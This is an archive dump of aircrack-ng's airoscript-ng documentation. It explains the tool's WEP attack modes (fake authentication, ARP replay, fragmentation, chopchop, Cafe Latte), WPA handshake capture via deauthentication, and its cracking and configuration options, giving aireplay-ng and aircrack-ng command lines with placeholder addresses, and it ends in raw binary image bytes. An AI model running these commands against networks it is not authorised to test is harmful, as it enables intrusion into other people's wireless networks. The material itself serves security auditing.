kstats(1) makeivs\-ng(1) packetforge\-ng(1) wesside\-ng(1) aircrack\-ng(1) .fi .sp .SH AUTHOR This manual page was written by David Francos .SH COPYRIGHT David Francos Cuartero .\" Generated by docutils manpage writer. .\" . aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/0000755000000000000000000000000012660222377020555 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/crack.rst0000644000000000000000000000221411662075516022373 0ustar rootrootCrack ------ This section defines cracking menu. Note: If "pipe" variable is set, it will be executed and piped into aircrack-ng (that's the way the john the ripper plugin works, actually) Note: If writekey variable contains a set of commands to write the key to a file (wich is default on auto) WPA Crack ========== It will execute attacks against a wordlist. WEP Crack ========= Default ++++++++ Executes aircrack-ng with the following options :: "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap $crack_extra_opts $writekey"; $clear; break ;; Korek ++++++ Executes aircrack-ng with the following options AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey Interactive +++++++++++ Same as default, except that it allows you to enter personalized fudge_factor and enc_size. Executes aircrack-ng with the following options: :: AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/interface.rst.html0000644000000000000000000000103411711531302024173 0ustar rootroot

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/attack-wep.rst.html0000644000000000000000000001777011711531302024311 0ustar rootroot Wep attacks

Wep attacks

images/wep-attacks.png

Attacks not using a client

images/wep-attacks-noclient.png

If you have no connected clients (for example, if you've only got one wireless card, and you're auditing your own network) you might need to use this attacks.

Fake auth (Automatic)

Airoscript here performs a fake auth attack, to associate with AP, and a arp replay attack for injection, typically doing something like:

aireplay-ng WIFI_INTERFACE --arpreplay -b TARJET_MAC -d INJECTION_MAC -f 1 -m 68 -h FAKE_MAC -x 1000
aireplay-ng -3 -b AP_MAC -h SOURCE_MAC WIFI_INTERFACE

Where source mac (in this case) is INJ_MAC

That is, fake auth and arp replay attacks. Basically, according to aircrack-ng wiki:

The fake authentication attack allows you to perform the two types of WEP
authentication (Open System and Shared Key) plus associate with the access point (AP).
This is only useful when you need an associated MAC address in various aireplay-ng attacks
and there is currently no associated client. It should be noted that the fake authentication
attack does NOT generate any ARP packets. Fake authentication cannot be used to
authenticate/associate with WPA/WPA2 Access Points.

The classic ARP request replay attack is the most effective way to generate new
initialization vectors (IVs), and works very reliably. The program listens for an ARP packet
then retransmits it back to the access point. This, in turn, causes the access point to repeat
the ARP packet with a new IV. The program retransmits the same ARP packet over and over.
However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs
which allow you to determine the WEP key.

In interactive mode, you'll be asked for the "f" (from-to destination bit), making you able to make it into a t, and the destmac (wich, by default, is FF:FF:FF:FF:FF:FF)

Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication and _ARP replay at: http://www.aircrack-ng.org/doku.php?id=arp-request_reinjection

Fake auth (Interactive)

Almost same as fake auth, automatic, except for aireplay being called in interactive mode, wich will force the user to select a packet instead of injecting the first that it gets.

Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication

Fragmentation attack

Here, airoscript-ng kills every airodump-ng and aireplay-ng processes (-9 kill, be careful as all airodump processes will stop recording and not save data) and removes all old fragmentation captures and normal captures (hard-cleans everything). Be careful!

Note to self: IF NO _DUMP_PATH_ PROVIDED, AND NO HOST MAC PROVIDED (It's imposible to get here with airoscript, just if you source attacks/wep and execute directly wep_attacks_fragmentation) it will do a rm /* wich is dangerous

Then it launches aireplay, in this case, assuming you've no clients, with injection (-5, --fragment option) like this:

aireplay-ng -5 -b AP_MAC -h FAKE_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE

Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation

Chopchop attack

Makes a hardclean. Starts capturing, fake auth (3) and aireplay with chopchop attack, then it calls the _Injection menu: injection.html

aireplay --chopchop -b AP_MAC -h FAKE_MAC WIFI_INTERFACE

According to aircrack-ng wiki:

This attack, when successful, can decrypt a WEP data packet without knowing the key.
It can even work against dynamic WEP. This attack does not recover the WEP key itself,
but merely reveals the plaintext. However, some access points are not vulnerable to this
attack. Some may seem vulnerable at first but actually drop data packets shorter
that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay
tries to guess the rest of the missing data, as far as the headers are predictable.
If an IP packet is captured, it additionally checks if the checksum of the header
is correct after guessing the missing parts of it. This attack requires at
least one WEP data packet.

Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=korek_chopchop

Attacks using a client

images/wep-attacks-client.png

When the ap has a client connected, you can use the following attacks.

Arp replay (Automatic)

Calls aireplay-ng for a arpreplay, as in fake auth, except that does not execute a fake auth attack.

aireplay WIFI_INTERFACE --arpreplay -b AP_MAC -d INJECTION_MAC\
-f 1 -m 68 -n 86 -h CLIENT_MAC -x INJECTRATE

Arp replay (Interactive)

Same as previous attack, interactive mode.

Fragmentation attack

Have a look at fragmentation attack without clients, this is basically the same, except for aireplay-ng being called with -7 option, like this:

aireplay-ng -7 -b AP_MAC -h CLIENT_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE

Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation

Chopchop attack

Almost the same as non-client directed chopchop, except this one does not make a fake_auth attack, and provides client_mac like this:

aireplay-ng --chopchop -h CLIENT_MAC WIFI_INTERFACE

It also calls inject menu, directed for chopchop.

Cafe latte attack

It just executes fakeauth3 and caffe late attack ( -6 option to aireplay-ng )

According to aircrack-ng wiki:

The Cafe Latte attack allows you to obtain a WEP key from a client system.
Briefly, this is done by capturing an ARP packet from the client, manipulating
it and then send it back to the client. The client in turn generates packets
which can be captured by airodump-ng. Subsequently, aircrack-ng can be used
to determine the WEP key.

Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=caffe-lat

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/interface.rst0000644000000000000000000000000011662075456023242 0ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/index.rst0000644000000000000000000000046011662075516022420 0ustar rootrootAiroscript documentation ------------------------- .. _Attack wep: attack-wep.rst.html .. _Attack wpa: ./attack-wpa.rst.html .. _Autopwn: ./autopwn.rst.html .. _Config: ./config.rst.html .. _Crack: ./crack.rst.html .. _Exit: ./exit.rst.html .. _Others: ./others.rst.html .. _Scan: ./scan.rst.html aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/attack-wpa.rst0000644000000000000000000000347711662075456023363 0ustar rootrootWPA attacks ----------- Standard attack ========================== Here airoscript will send a deauth attack, so we can get the handshake, and launch airodump-ng to listen for it. :: airodump-ng -w DUMP_PATH/HOST_MAC --bssid HOST_MAC --channel CHANNEL -a WIFI_INTERFACE It will ask you for the kind of deauth attack you want to use (have a look at Authentication) TODO: ADD LINK You can read more about it on: http://www.aircrack-ng.org/doku.php?id=cracking_wpa&s[]=wpa WMM Attack ========== Have in account that this attacks will most probably not work, it an advanced attack not meant for novice users that might need fine-tuning inside airoscript itself. Got from the aircrack-ng wiki: :: Tkiptun-ng is the proof-of-concept implementation the WPA/TKIP attack. This attack is described in the paper, Practical attacks against WEP and WPA written by Martin Beck and Erik Tews. The paper describes advanced attacks on WEP and the first practical attack on WPA. An additional excellent references explaining how tkiptun-ng does its magic is this ars technica article Battered, but not broken: understanding the WPA crack by Glenn Fleishman. Basically tkiptun-ng starts by obtaining the plaintext of a small packet and the MIC (Message Integrity Check). This is done via chopchop-type method. Once this is done, the MICHAEL algorithm is reversed the MIC key used to protect packets being sent from the AP to the client can be calculated. At this point, tkiptun-ng has recovered the MIC key and knows a keystram for access point to client communication. Subsequently, using the XOR file, you can create new packets and inject them. The creation and injection are done using the other aircrack-ng suite tools. You can read more here: http://www.aircrack-ng.org/doku.php?id=tkiptun-ng aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/attack-wep.rst0000644000000000000000000001425211662075516023355 0ustar rootrootWep attacks ----------- .. image:: images/wep-attacks.png Attacks not using a client ========================== .. image:: images/wep-attacks-noclient.png If you have no connected clients (for example, if you've only got one wireless card, and you're auditing your own network) you might need to use this attacks. Fake auth (Automatic) +++++++++++++++++++++++ Airoscript here performs a fake auth attack, to associate with AP, and a arp replay attack for injection, typically doing something like: :: aireplay-ng WIFI_INTERFACE --arpreplay -b TARJET_MAC -d INJECTION_MAC -f 1 -m 68 -h FAKE_MAC -x 1000 aireplay-ng -3 -b AP_MAC -h SOURCE_MAC WIFI_INTERFACE Where source mac (in this case) is INJ_MAC That is, fake auth and arp replay attacks. Basically, according to aircrack-ng wiki: :: The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points. The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key. In interactive mode, you'll be asked for the "f" (from-to destination bit), making you able to make it into a t, and the destmac (wich, by default, is FF:FF:FF:FF:FF:FF) Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication and _ARP replay at: http://www.aircrack-ng.org/doku.php?id=arp-request_reinjection Fake auth (Interactive) +++++++++++++++++++++++ Almost same as fake auth, automatic, except for aireplay being called in interactive mode, wich will force the user to select a packet instead of injecting the first that it gets. Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication Fragmentation attack +++++++++++++++++++++++ Here, airoscript-ng kills *every airodump-ng and aireplay-ng processes* (-9 kill, be careful as all airodump processes will stop recording and not save data) and removes all old fragmentation captures and normal captures (hard-cleans everything). Be careful! Note to self: IF NO _DUMP_PATH_ PROVIDED, AND NO HOST MAC PROVIDED (It's imposible to get here with airoscript, just if you source attacks/wep and execute directly wep_attacks_fragmentation) it will do a rm /* wich is dangerous Then it launches aireplay, in this case, assuming you've no clients, with injection (-5, --fragment option) like this: :: aireplay-ng -5 -b AP_MAC -h FAKE_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation Chopchop attack +++++++++++++++ Makes a hardclean. Starts capturing, fake auth (3) and aireplay with chopchop attack, then it calls the _Injection menu: injection.html :: aireplay --chopchop -b AP_MAC -h FAKE_MAC WIFI_INTERFACE According to aircrack-ng wiki: :: This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet. Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=korek_chopchop Attacks using a client ====================== .. image:: images/wep-attacks-client.png When the ap has a client connected, you can use the following attacks. Arp replay (Automatic) +++++++++++++++++++++++ Calls aireplay-ng for a arpreplay, as in fake auth, except that does not execute a fake auth attack. :: aireplay WIFI_INTERFACE --arpreplay -b AP_MAC -d INJECTION_MAC\ -f 1 -m 68 -n 86 -h CLIENT_MAC -x INJECTRATE Arp replay (Interactive) ++++++++++++++++++++++++ Same as previous attack, interactive mode. Fragmentation attack +++++++++++++++++++++++ Have a look at fragmentation attack without clients, this is basically the same, except for aireplay-ng being called with -7 option, like this: :: aireplay-ng -7 -b AP_MAC -h CLIENT_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation Chopchop attack +++++++++++++++ Almost the same as non-client directed chopchop, except this one does not make a fake_auth attack, and provides client_mac like this: :: aireplay-ng --chopchop -h CLIENT_MAC WIFI_INTERFACE It also calls inject menu, directed for chopchop. Cafe latte attack +++++++++++++++++ It just executes fakeauth3 and caffe late attack ( -6 option to aireplay-ng ) According to aircrack-ng wiki: :: The Cafe Latte attack allows you to obtain a WEP key from a client system. Briefly, this is done by capturing an ARP packet from the client, manipulating it and then send it back to the client. The client in turn generates packets which can be captured by airodump-ng. Subsequently, aircrack-ng can be used to determine the WEP key. Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=caffe-lat aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/resolution.rst.html0000644000000000000000000000103411711531302024436 0ustar rootroot
aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/scan.rst.html0000644000000000000000000000132011711531302023155 0ustar rootroot Scan

Scan

Scanning is a simple menu, just asking for encription (wich can be set up to be anything (default)) and channel (hoping by default).

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/config.rst0000644000000000000000000000506411662075456022566 0ustar rootrootAiroscript-ng configuration file --------------------------------- Airoscript-ng's config is divided in two files, and some (not all) oiptions are configurable by arguments. Conffiles are airoscript-ng.conf and airoscript-ng_advanced.conf. Standard configuration file =========================== Here, we'll find a couple of sections, defining sets of arrays or variables. Wordlists ++++++++++ *WORDLIST* The variable WORDLIST sets the original location of the wordlist that will be used by airoscript to crack WPA or manual dictionary WEP (see crack section). Note that this file will be copied to DUMP_DIR, so, if you want to use a custom wordlist, AFTER airoscript-ng initialization, you've got to copy it to *DUMP_PATH/WORDLIST_FILE_NAME* having in account that WORDLIST_FILE_NAME contains no directories, is the basename of the WORDLIST variable. *db_location* This variable will be passed to aircrack as the PMK database location. Plugins support ++++++++++++++++ The variable enabled_plugins is just an array of the plugins that will be loaded by default Actually, those are john the ripper and MDK3 Wireless interfaces +++++++++++++++++++ You can setup here wifi and iwifi interfaces. Wifi interface is the standard wifi interface, this will allow you to setup a iwifi interface, it will also make it not ask you to select an interface each time you start airoscript-ng. Appearance ++++++++++ This configuration section will allow you to make airoscript prettier for you. Variables: - *theme* : The theme file, theme files are stored in path/themes/ - *DEFAULT_MONITOR_MODE* : (Bool) start or not monitor mode on selected interface by default. - *SHOW_SMALL_MENU* : (Bool) Show a small version of all the menus, with just the title, perfect for small screens. - *show_only_wireless_extensions*: (Bool) Show only interfaces with wireless extensions enabled. If your card is not detected by airoscript, you might set this to 0. - *Show warning* (Bool) (Currently no effect) Shows an usage warning at startup - *INTERACTIVE* (Bool): Asks for some more stuffs than usual - *force_mac_address* (Bool): Do not check for mac address mode. - *MON_PREFIX* : Prefix to use for airoscript-created virtual interfaces (passed to airmon_ng), this will be used, for example, for interface cleanup. - *ADDOPTIONS* : HARDCORE: THIS WILL ASK YOU FOR EXTRA OPTIONS FOREACH COMMAND IT EXECUTES. Advanced configuration file =========================== Advanced configuration will not be covered here, it's allways changing, and the most remarcable things are aircrack-ng configuration values and debug mode. aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/scanning.rst0000644000000000000000000000000011662075456023102 0ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/attack-wpa.rst.html0000644000000000000000000000530211711531302024271 0ustar rootroot WPA attacks

WPA attacks

Standard attack

Here airoscript will send a deauth attack, so we can get the handshake, and launch airodump-ng to listen for it.

::
airodump-ng -w DUMP_PATH/HOST_MAC --bssid HOST_MAC --channel CHANNEL -a WIFI_INTERFACE

It will ask you for the kind of deauth attack you want to use (have a look at Authentication) TODO: ADD LINK

You can read more about it on: http://www.aircrack-ng.org/doku.php?id=cracking_wpa&s[]=wpa

WMM Attack

Have in account that this attacks will most probably not work, it an advanced attack not meant for novice users that might need fine-tuning inside airoscript itself.

Got from the aircrack-ng wiki:

Tkiptun-ng is the proof-of-concept implementation the WPA/TKIP attack.
This attack is described in the paper, Practical attacks against WEP and
WPA written by Martin Beck and Erik Tews. The paper describes advanced
attacks on WEP and the first practical attack on WPA. An additional excellent
references explaining how tkiptun-ng does its magic is this ars technica
article Battered, but not broken: understanding the WPA crack by Glenn Fleishman.

Basically tkiptun-ng starts by obtaining the plaintext of a small packet and
the MIC (Message Integrity Check). This is done via chopchop-type method.
Once this is done, the MICHAEL algorithm is reversed the MIC key used to
protect packets being sent from the AP to the client can be calculated.

At this point, tkiptun-ng has recovered the MIC key and knows a keystram
for access point to client communication. Subsequently, using the XOR file,
you can create new packets and inject them. The creation and injection are
done using the other aircrack-ng suite tools.

You can read more here: http://www.aircrack-ng.org/doku.php?id=tkiptun-ng

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/images/0000755000000000000000000000000012660222377022022 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/images/wep-attacks-client.png0000644000000000000000000004413711662075516026242 0ustar rootroot‰PNG  IHDRaº ƒ·› oFFs¢#G pHYs  ÒÝ~ü vpAg  „õ¿GçIDATxÚíÝyXgþð\ä $ ˜*AÔZÔµ*Ú¢ÕU±¨º,bu« BuEÛ‚úëZÛº+âQñ¨¢TYÅm«UZ‘C-uEAQ@AGB.r'ÐßSŸ‚ 9 À÷óÏdÞ™y™|óÎ;ó¢¶lÙ²eË@a €5ûí·ß~ûí7(°NFXwõ`ðxW×ÚZ™L$š4‰L¶±1$UL ‡#õu_Æ¥0œAaÕÜ݃ƒÿó.7.® àÛoÿñqã IâädkÛ×}— À°c#¬ÙwßÕ×WVº¸‰Tjaacãx<­ýß `z*&Ó×72òêÕ{÷ÊˉD¡ËE¢ææ¢¢¬¬¤¤yóœI¤WÃ…†îØ‘”TUõü9Ÿ¯Rµ· ÅÅׯ''ÏŸïêúª Fß1ÛØØÙM˜”tçNaáÆ¾¾®®]?¥PÜÝ¿ÿþ—_>lm•H”J¥R*mk+)¹qãÂ…Å‹Ùl Z˜„Ö‰F7n×®êêóçßYòÎ;ÇŽ••;6}º³sïiO`H*4ƒ!“‹‹ù|¡0"bÞtH(¬¬=rÚ˜„Öiýú;wx¼°0WW2YB"1ÁÁ­­nÝÚ{ZË…½C£q8‡Ž­V,îùé¡C R©ŸF wT ÆÛo¯][PðèÑ•+>>ŽŽD¢¾Tåår¹FùöÛ..ЖÀ‚ Œ°6x<•úî»­­55öütß>§­mñb:]ÿ—¨¥ÃŽDòòÚ»÷ôé´´ª*.·©I.W*Õj­¶££³Sßv*+ †Á°±Á`úzTcÇîÜÉç«Try@ƒñê›&˜:uãÆS§ÚÚ4­¶ºúÁƒ_MN>}úĉ;""Éd ¦·[C a„µ™1cß¾Gz©PVvü¸¯¯¾-X:Œøä“‚‚ææôôÏ>[¶ŒÍf±œíìˆD‡ÃáˆD}Û©¯W©´Z&Ó˜0âöí¤¤˜˜Y³>üððá––ŠŠ ÆŒ!±ØÞÓâñöö£Gûûÿõ¯+W-]úþûûÛ¾}wï>z”˜- ÌÂëFc±öö%%Bam-‹…Ç¿êëƒÁãY,.W$*/§Óq¸W­cé0 ÜÜ„î_ä^^[·êÛNb"×ÞîïO£éïG1䍯_¹òÀïáÃ3gÞx]0ÑÒ¢Õ*UUÐÞÀtðÀ§yã… ¿ý–BÉÎÞ¸±±Q£éìì¹Ng§FÓØ¸aéSï¿?rdÏunß–HÔêèè9s<=ñx ƒ!‘¨TGG7ßœ:UßÞ OUPÐÞ®ÑlÞäëkookK£y{ûú††þðÃ¥K>>õõjµN·dɨQÝ?<¸sg~~TÔßÿþþûl¶«+†,§PØìÐP‘ˆÃIL4¤”**.\غuîÜØØ––ÿý//ï›oœ_îá8|øñ㦦þú×éÓíì‹%)”Y³‚‚6lË››³² ½€@o„õ8z´®N"é:¬R;;ë£$.÷UO7Ðé“'/_ž˜˜’’›+ªÕ\.óùååäåéۦᩘL_ߨ¨ÂB‡ÇS«Õj™ìÙ³»wSS/vs³³[·.5µ¬L£Q*…—÷Á¬ZûÃ¥¥Ns³J%“!a&'/\8bÄ«rÝ{‰‡GPпÿ]U•“óõ×8Ü‹tº·whèÕ«w‰D2™Z­RI$|~IÉçÎ-ZÄb½®„ÂnjÀHFÀHFÀHFÀHFÀHFÀHFÀHFÀH}ž$ Š °Öð½ ½0„0NßúºJz.G£ÑèS"À¬ó{YoÑó 5äàôeµ÷´ RA*H© ¤Ò—Ê”ïeËÁYb£Æe RA*H© ¤‚Tƒ Œ€‘úFÀÀzXÃ÷2ôFÀHFÀHFÀHFÀHFÀHFÀHFÀHFÀH}#¬a^óžüýQ(j÷îþÞ¯u–0WÍve†[û‡r€ú2œÕõF88xy­_¯ÑtttvR@™™( %—£P(THÈPk" ïêZ[+“‰D“&‘É66½7¦®:;u:•ª¥åùóêêÌÌääýûß~ÛÞï=UG‡F#—76ÖÕUV¦¤$$|ùåøñ¶¶8ÜP+YýÐ]ÀEÊšÛ¼ébb8‘hè•¡)ù‚–úlË–-[¶l1dMËE=$’ƒƒ‹ËŸÿ¼fͶmbqCC_ ÚÚ¢P(Ô¯¿¢P(”%/;ýQ]yx|ðAfæ¯¿îØ‘•UP°mÛ[o~¿ûº ‰wñbMMS“D"óxUUéé§NEGS(Xl÷ò@£±X{{N­æñFŒX° &¦¨¨¶¶µU©”J›šnÝJK;p€É4ôKÑòa2}}##¯^½w¯¼\ H ¹\$jn.*ÊÊJJš7ÏÙ™Dêº>G"yz66J¥55..¯>4‡spxúT"in;–DˆÞ ëOZ´(..)éêÕ¦& ºúܹƒ·oŸ9sÌëoó†|Ú»î5‚ÁHë×Çǧ¦VU56ŠDIS‡“žž°yó«Ú!C"Éå|þåË«V8‘›ÛÞ®TŠÅ'O¹¹EF&'ß½+¶´®Z5aB÷òìk‹2%_úR½®–Ðh.4tÇŽ¤¤ªªçÏù|•ª½] (.¾~=9yþ|WW䇰<#P†œ †§rvF¡P¨¬¬¡Py4Ú¸q»vUWŸ?ÿþûÈ’wÞ9v¬¬ìرéÓ‘|¾îxÞgç‘#'Nüä“ãÇ žz”—÷ÅAA®®S¦lÛ¦PW¯šÞ¢Ìuu2$­‡ÇêÕ—/_»öñÇcưXt:G$R(³g¯^}èPXYyì ô # ºðž ¹ï÷îP¨¼õëïÜáñÂÂ\]Édd ‰Ä`·¶>|¸ukï%ÖUAAVÖÅ‹;wFDøùáp/ÿªë¹¾V+—‹DUUOž;¶cǺu=Ó™§ô~ú)$Äݽ÷5%’žûÇã)…B HKÓ·ýO?us£Pº§¢Rß}W¡~þÙÒµŒô(tthµbqÏO‰DGÇ€‘¨¡áÛo{~úå—Ïž …aa#F¼¨}k‚F}tìØ¯¿š÷,0®Í›Rw†ÿÙ³ÍÍ2ÙŠ F÷ž"‘N_ºT.oiùþ{}ÛŸ9“BÁãÑh,–BA–::‰È’ŽÛeZ‹2W»5$í¡C R©ŸF X_û^ Œx;úºG¤{¸°ppWòU×ÚZSsð`ÏO÷íãpÚÚ/¦Ó‰D}ÇccC&O™òä‰L¦Ñ¤¦þýï^^ÖÖ‘ýNjg÷º‘,µµJ¥V«/HÒé4@ßöÙl"‹íºÆb©TN­ni1W-ãp$’—×Þ½§O§¥UUq¹MMr¹R©Vkµ¯&UPÐܼeËá‘H§/YÒÖVUµw¯õ\ªll(”Ñ£W¯ŽŽÞ·/?¿ºº­íáÃë׿û.""(Ȱ~K·yãêÎðöÏåªTZmÏÛaŒ‹‹V«R=®oû]oÊ K„——˜«E™~^’¶²R¡ÐhŒþ1,Q×fa„µUÞŒûö=zÔ{çsYÙñã¾¾½‹5þþýZ­RY[;mÚ«¿°6Œ0¤£ªJ¡Ðjõ!è}ûNN/§B£q8:9a®Zþä“‚‚ææôôÏ>[¶ŒÍf±œíìˆD‡ÃáˆÄÞ·@£ÿå—uuéé+V K||âã?NNž;wÄKœM†ßÔ1bÊ?¿={NŸþùgO ¨®þïããÿïÿfÍòð Ñ¬³ÍÿQÏ‚y¿nëê”J}a“‰œe†lß%¦´(ÓÏkCÒÖ׿:¨u-àƒ€›ÖSyÈðÀ’¡°¶–ÅÂã_uŠb0x<‹ÅåŠDååt:÷b}ÇóÁçÎ={V_Ÿ•µi“õ4AÃ÷{ôhCƒTêïÿò/QC¶¿~ýÝãÁÞ~î\dà›¹Ž¹¤º¹Ý{>¼¼¶n5d §NÕÕÕÕ¹¸àñxüíÛ·oÛÚb0ýÐ]]]aáµkÛ·¯[·x±åžÔ0¥Í·µi4#F¼œÊÖÖÙyÕ*ó~Ýž>ÝÔ$“9:¾|SÃÑqÙ²öv/1Ñí²Äôeé0"1‘Çko÷÷§ÑúrVK€0â5û2nˆ%ò&‰ÁXy#G¾ÿþ?vb¦¿ÿÅ‹NJÊÒ¥nn½ò~vvk«B±ÿœ9Ý0Záî’šš™ìáÁbÑhx<…âä°eË™3\n~þž==Suvvvj4¥¥ÙÙ{÷zz"âœÙì°°ýû‹‹KKããgÌ0×q^ºÄçËå®\ùÞ{öö¶¶4š··¯ohhFFiiJ Ò¾dɨQööú¶0jÔâÅ?þ˜–¶rå‘#EE;wNž<|.‚¦´ùÄĆ©ô§Ÿ6mš?ŸB!mlœÙì©SÍÍÍÏ µÚŽŽÞ·yë–X¬REGÏ™ãé‰Çc0 ‰D¥::zx¼ùf÷¡»ãÆEFÞ¼YQqâDdäèÑNNd²ƒáæöÍ7ee7nDD¼êÖ¡qa„é-Êð|×æÇŽ »~=33::(ˆÍvu}Ñ;E¡°Ù¡¡"‡óª  ìµÔ‚¬!Œø­ômyàó«¯kå=ZW'‘tb¦‹õÑG —ûbDôë:Ï'LظQ" óò\]ÿøõfýa …Ba±ÁÁ;wž;WQÁå¶¶ªTíímmåæž?àîN¥öL„^^¡¡±±ee<žH¤RI¥<^nnJJ\\×_´ÆµÃ®©˜L_ߨ¨ÂB‡ÇS«Õj™ìÙ³»wSS/vs³³[·.5µ¬L£Q*…B}ùCž‹¹{·¹™ÏŸ2åõãE†SÚ<ƒ1mZxøíÛ\®B¡Ñ(•ÏŸ——çåmØðî»..Édjµ¾‡EtúäÉË—'&¦¤äæ …jµF#—‹Å|~yùƒyyÝ×Å`H¤ˆˆøø´´ÚÚ–©T,njâpRS¿þ:<œH|u_qa„é-Êð|ÕÅ`V­Šýá‡ÒR§¹Y¥’ÉÚÚJJnÜHN^¸Ð:‡MF˜M××OõÏ3öðÊX8µÌ§R§MËȸrå/º^†mÈo $:y…B¡t:hZÀÚáñX¬—׌~~ 99GŽ9òÑG×®AÉ—A?WrGÕÎ…B¡.\€ ƒƒH¤T*ÕÕ99ß}·ys`à‚yy­­J%” `péCaS¶ddüñ·?Á6ÖÌúk‡LÆã‡Ó€%Xõžú€‘ Œ€‘ Œ€‘úü‚akË€¿? …BíÞÝßû…>‡ª¾Oš œ5p¦ ß’·ŠÞ"‘Á˜5ëðáï¿Ïή©ihhiQ*5…¢¾¾²²´ôÌ™ý+<ÜÞ‹}Õ@ä•È y!!C­‰ ï ¬­•ÉD¢I“Èdýƒòz~ùuvêt*UKËóçÕÕ™™ÉÉû÷¿ý¶½=òÂpý©::4¹¼±±®®²2%%!áË/Ç·µÅ ú'z ‡î.Rýɸ—Ι"&†Ã‰ äM/ 8_†5kxýÔáÃOžðxjµV«Ó<¹råìÙt:‰D"Mž¼|y|<²ßÇôm¡ëë§úgü{ÿÄ€|™ùë¯;vdelÛöÖ[†Å ‹5~|XØž=ÙÙÁãDZ±¯KecC$2®®žžÁÁ7ÆÇ×ÕÝ»÷Ïϳc8ÿƪ­½?=}Û¶µkýý-7§ÆÀ–|a¡TªVÏú…Òà-–¯ÅnnÈ~5™ìÉ“Þ×G^†½k×Щ¼ï¾«¯¯¬tq!©ÔÂÂÆÆ7ô½Ü·÷ãAJR«U*¹Ü¾æ")©®îu%ßW —kkËdúù]¹RPPY)“i4Z­B!‘ðùÝ×Å`H¤°°¸¸‹kjšš$±˜Ç«ªJO?u*:šBy¹ ™ê ™ÃsĈ bbŠŠjk[[•J©´©éÖ­´´ Ÿ™Ðòa2}}##¯^½w¯¼\ H ¹\$jn.*ÊÊJJš7ÏÙ¹ûdN8‰äéÙØ(•ÖÔ蛹Æáž>•Hš›ÇŽ%‘¢7ˆÅúÓŸ-Š‹KJºzµ©I 